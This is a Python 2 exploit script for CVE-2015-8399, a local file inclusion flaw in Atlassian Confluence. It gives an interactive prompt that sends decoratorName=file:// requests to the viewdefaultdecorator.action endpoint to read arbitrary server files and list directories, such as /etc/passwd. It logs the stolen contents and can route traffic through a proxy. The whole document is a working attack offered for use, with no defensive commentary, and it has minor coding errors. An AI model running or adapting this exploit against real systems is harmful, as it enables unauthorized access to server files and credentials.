#!/usr/bin/env python
# -*- coding: utf-8 -*-

# Exploit Title: Atlassian Confluence LFI Exploit
# Date: 05-11-2016
# Exploit Author: Alexander Gurin
# Vendor Homepage: https://www.atlassian.com/software/confluence
# Software Link: https://www.atlassian.com/software/confluence/download
# Version: 5.2, 5.8.14, 5.8.15
# Tested on: Linux (Debian, CentOS), Windows 2008R2
# CVE : CVE-2015-8399

import sys, os, hashlib, base64, requests, socks, codecs
import readline
from pprint import pprint
from datetime import datetime
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

### Target  settings
victim = 'http://victim.org/' ### Set victim host

### Proxy settings

HTTP_PROXY_ENABLED = 0 # If need to activate, set 1
proxies = {'http': 'http://login:password@host:port/', 'https': 'https://login:password@host:port/'} ### HTTP-proxy

### Set headers

s = requests.Session()
s.headers.update({'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36'})
s.headers.update({'Content-Type':'application/x-www-form-urlencoded'})
s.headers.update({'X-Requested-With':'XMLHttpRequest'})
s.verify= False

### Logging all output commands

LOGFILE = os.path.realpath(os.path.dirname(__file__ )) + '/log_' + datetime.strftime(datetime.now(), "%d_%m_%Y") + '.txt'

print ' \033[96m[!]\033[0m For getting file, read_file$/etc/passwd'
print ' \033[96m[!]\033[0m For directory listening, read_file$/etc'

def get_my_ip():
    while True:
        try:
            r = s.get('https://api.ipify.org')
            if r:
                if r.status_code == 200:
                    return r.text
        except requests.ConnectionError:
            print ' [-] ConnectionError'
            time.sleep(20)

if HTTP_PROXY_ENABLED == 1:
    s.proxies = proxies
    print ' \033[96m[+]\033[0m Proxy server activated: ' + get_my_ip()

def loger(cmd, data):
    f = codecs.open(LOGFILE, encoding='utf-8', mode='a')
    f.write('read_file$ %s\n%s\n' % (cmd, data))
    f.close()

def reader(url):
    ans = s.get(''+ victim +'spaces/viewdefaultdecorator.action?decoratorName=file://' + url + '').content
    start_tag = ans.find("<code>")
    end_tag = ans.rfind("</code>")
    data = ans[start_tag + 6    : end_tag ]
    return data

def main():
    while 1:
        path = raw_input('\033[96mread_file$ \033[0m')
        url = "+ path +"
        ans = s.get(''+ victim +'spaces/viewdefaultdecorator.action?decoratorName=file://' + url + '').content
        ans = reader(path).replace("<br/>", "\n")
        print ans
        loger(path, ans)
        if path == "quit" : break
        if path == "" : print "Not found!"

if __name__ == '__main__':
    try:
        try:
            main()
        except KeyboardInterrupt:
            sys.exc_clear()
        print 'Goodbye! =)'
    except Exception:
        pass